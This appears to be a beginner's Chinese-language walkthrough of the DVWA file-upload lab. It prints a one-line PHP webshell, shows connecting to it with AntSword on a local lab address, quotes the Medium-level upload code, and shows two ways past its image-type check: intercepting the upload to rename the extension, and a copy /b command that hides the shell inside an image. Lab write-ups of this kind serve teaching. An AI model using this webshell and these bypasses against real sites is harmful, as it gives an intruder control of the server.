今天带来第五期文件上传漏洞操作记录。初次接触DVWA,写下自己的操作记录,希望可以帮助每个刚接触DVWA的新手,同时希望可以提升自己的技术。注:如有操作不当的地方希望可以得到大神指导、交流。也感谢之前查阅的各种大神提供的博客。
文件上传原理:利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过蚁剑或者中国菜刀即可获取和控制整个网站目录
一句话木马(webshell):
<?php @eval($_POST['123123']); ?>
Low级别
新建一句话木马文件,修改后缀名为php
上传php文件
打开 中国蚁剑,url为
http://192.168.245.1/hackable/uploads/1.php
密码为一句话木马文件中的123123,测试连接,添加
连接成功
Medium级别
分析源码 只能上传 jpeg和png格式文件
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
方法一:抓包
将一句话木马文件后缀名从php改为png后打开抓包软件,将后缀名从png改为php,点击放包
文件上传成功
方法二:cmd命令合成图片木马
新建一个写入一句话木马的1.txt文档,文件夹以及名称为2.png的的图片,将图片和txt文档放入文件夹中,在文件地址处打开cmd命令行
输入
Copy 1.txt/b+2.png/a 3.jpg
生成图片木马
上传图片木马,木马注入成功
Low级别
利用cmd命令合成图片木马
Copy 2.jpeg/b+1.php/a 3.jpg
上传3.jpg
注入成功